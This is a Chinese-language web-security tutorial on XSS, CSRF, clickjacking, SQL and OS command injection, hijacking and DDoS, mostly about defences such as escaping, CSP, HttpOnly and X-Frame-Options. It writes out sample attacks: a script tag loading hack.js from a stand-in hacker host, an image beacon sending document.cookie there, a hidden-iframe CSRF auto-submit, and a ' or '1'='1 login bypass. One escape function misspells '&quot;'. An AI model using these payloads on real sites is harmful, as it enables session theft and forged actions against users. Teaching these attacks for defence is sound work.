1. XSS 跨站脚本攻击 (Cross Site Scripting)

攻击方式

1. 反射型 - url参数注入

场景: 诱导已登陆用户点击有害链接(较明显)

链接内容:

注入攻击站脚本 http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
短域名伪造, 会重定向到有脚本注入的url https://dwz.cm

http://hackerweb/hack.js会窃取用户登录态信息等, 如document.cookie 利用img等html元素发送向hackerweb发送带有cookie信息的请求, 从而黑客后台可获取到登录态信息

2. 存储型 - 将script标签注入到数据库

场景:

在网站的评论里(任何能够保存内容的地方)输入带有攻击脚本的文本, 提交后存入数据库, 再次渲染时攻击脚本执行

危害

杀伤力较大, 相当于完全控制网站

获取cookie

document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接获取登录态

发送请求获取登录态 cookie

var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie

获取页面数据
修改前端逻辑
窃取一切前端可达数据：用户资料, 登录密码...

防御 (5种)

1. 转义字符防止在不必要的地方渲染script标签

尖括号 <script> 转义为 <p> 不允许渲染不受信任的脚本 - 转义html标签设置转义黑名单, 白名单:

// 黑名单
function escape(str) {
  str = str.replace(/&/g, '&amp;');
  str = str.replace(/</g, '&lt;');
  str = str.replace(/>/g, '&gt;');
  str = str.replace(/"/g, '&quto;');
  str = str.replace(/'/g, '&#39;');
  str = str.replace(/`/g, '&#96;');
  str = str.replace(/\//g, '&#x2F;');
  return str;
}

// 白名单
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html);

2. 防止执行跨站脚本: 设置 HTTP请求头 X-XSS-Protection

X-XSS-Protection report-uri

// ctx.set('X-XSS-Protection', 0) // 禁用XSS过滤
ctx.set('X-XSS-Protection', 1) // 默认 检测到XSS, 清除攻击脚本
ctx.set('X-XSS-Protection', '1;mode=block') // 检测到XSS, 禁止加载页面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 检测到XSS,清除页面并使用CSP report-uri 指令的功能发送违规 报告

测试:

攻击Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>

当网站发现在请求里面有脚本, 不会执行. 报错:

The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.

!!!但是!!! 伪装一下就不行了! 以下url还是可以攻击成功:

http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E

3. 防止执行跨站脚本: 设置 HTTP请求头 Content-Security-Policy CSP

内容安全策略Content-Security-Policy

ctx.set('Content-Security-Policy', "default-src 'self'") // 只允许加载本站资源
ctx.set('Content-Security-Policy', "img-src https://*") // 只允许加载HTTPS协议图片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不允许加载任何来源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多条规则

CSP指令:

default-src：为其他取指令提供备用服务fetch directives.
style-src: 限制层叠样式表文件源
script-src: 限制JavaScript的源地址.
connect-src：限制能通过脚本接口加载的URL.
img-src: 限制图片和图标的源地址
child-src: 为 web workers 和其他内嵌浏览器内容（例如用和加载到页面的内容）定义合法的源地址.
frame-src: 设置允许通过类似和标签加载的内嵌内容的源地址.
worker-src: 限制Worker、SharedWorker或者ServiceWorker脚本源.
更多: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy

检测到不符合安全策略的内容, 报错:

Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".

4. 防止窃取cookie: 设置相应请求头 Set-Cookie HttpOnly

预防cookie被窃取, 无法通过document.cookie获取信息, 浏览器依然会在请求自动带上cookie 是预防XSS攻击窃取用户cookie最有效的防御手段!

// 设置Cookie时, 设置为HttpOnly
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')

2. CSRF 跨站请求伪造 (Cross Site Request Forgery)

CSRF 利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作

攻击方式

场景:

用户已经登录了站点 A,并在本地记录了 cookie
在用户没有登出站点 A 的情况下（也就是 cookie 生效的情况下）,访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A).
站点 A 没有做任何 CSRF 防御

模拟发送请求(伪造请求), 因为普通用户已经登录, 模拟请求会带上登录态cookie, 从而可以操作(攻击)成功不直接获取cookie, 利用浏览器行为, 利用登录态

      document.write(`
      <form name="form" action="http://Aweb/updateText" method="post" target="csrf">
        添加评论: <input type="text" name="text" value="CSRF评论.." />
      </form>
      `)
      var iframe = document.createElement('iframe') // 静默加载
      iframe.name = 'csrf'
      iframe.style.display = 'none'
      document.body.appendChild(iframe)
      setTimeout(function() {
        document.querySelector('form').submit(); // 默默提交请求
      },1000)
    </script>

危害

利用用户登录态
用户不知情时攻击
完成业务请求
盗取用户资金（转账,消费）
冒充用户发帖背锅
损害网站声誉

防御

1. Referer Check

验证Header的 Referer字段是本站地址才允许通过

缺点:仅对Http有效, Https不发送referer

2. 验证码

请求需要验证码辅助

缺点: 用户体验不好, 较麻烦

一般只用于关键请求中

3. Cookie值进行hash

攻击者在访问信任网站A时, 虽然浏览器可以在请求中带上cookie, 但网站A可以不仅仅通过cookie来验证用户身份, 同时还验证给用户发送内容时生成的伪随机数, 双重验证, 这个伪随机数不能利用浏览器机制自动加到cookie上, 需要在脚本里面加上, 从而让CSRF攻击者无法利用伪随机数, 也就无法通过验证用于多数请求中

3. ClickJacking 点击劫持 (视觉欺骗)

攻击方式

既不窃取cookie也不利用cookie, 视觉上欺骗用户主动进行操作

场景:

在攻击网站上嵌入渲染网站A的frame, 并设置为透明, 在攻击网站设计一些按钮或input 精准对准网站A的按钮或input, 用户操作时实际上不知道自己在网站A做了什么, 从而达到欺骗用户的目的

危害

用户不知情时攻击, 执行了用户不希望的操作

防御

1. X-Frame-Options

X-Frame-Options

ctx.set('X-Frame-Options', 'deny') //表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许.
ctx.set('X-Frame-Options', 'sameorigin') // 表示该页面可以在相同域名页面的 frame 中展示.
ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示该页面可以在指定来源的 frame 中展示. !!!(Chrome不支持 Firefox支持)

2. js自身通过frame的方式加载内容是破坏自身

是一种比较原始的解决方案

    if(self !== top) { // 从frame加载
      self.document.body.style.display = 'NONE';// 隐藏或删除body的内容
      self.document.body.innerHTML = ''
    }

4. SQL注入

针对数据库的注入

攻击方式

场景: 输入特殊字符串, 传入后台拼接SQL查询字符串, 使其查询结果为真密码输入 1' or '1' = '1' 后台查询密码时返回 '1' = '1'的结果, 为真

危害

虚假登录
...

防御

1. 数据使用传参的方式, 不使用字符串拼接的方式

所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句.例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数.

2. 数据校验

后端代码检查输入的数据是否符合预期格式,严格限制变量的类型,例如使用正则表达式进行一些匹配处理

3. 严格的权限管理

严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害

4. 特殊字符转义

对进入数据库的特殊字符（',",,<,>,&,*,; 等）进行转义处理,或编码转换.基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库.

5. OS命令注入

攻击方式

针对操作系统的注入 OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的. OS命令注入攻击指通过Web应用,执行非法的操作系统命令达到攻击的目的. 只要在能调用Shell函数的地方就有存在被攻击的风险.倘若调用Shell时存在疏漏,就可以执行插入的非法命令.

场景:

system命令注入

危害

恶意删除文件
恶意下载执行程序
...

防御

类似 SQL注入防御方法

6. 请求劫持 (DNS劫持 HTTP劫持)

DNS劫持

顾名思义, DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip

HTTP劫持

运营商劫持防御: 此时大概只能升级HTTPS了

7. DDOS (distributed denial of service)

DDOS 攻击的防范教程

不是一种攻击,而是一大类攻击的总称.它有几十种类型,新的攻击方法还在不断发明出来.网站运行的各个环节,都可以是攻击目标.只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的

常见攻击方式

SYN Flood

此攻击通过向目标发送具有欺骗性源IP地址的大量TCP"初始连接请求"SYN数据包来利用TCP握手.目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源.

HTTP Flood

此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服务.

防御

1. 备份网站

备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求.最低限度应该可以显示公告,告诉用户, 网站出了问题,正在全力抢修.

2. HTTP 请求的拦截高防IP -靠谱的运营商多个 Docker

硬件服务器防火墙

3. 带宽扩容 + CDN

提高犯罪成本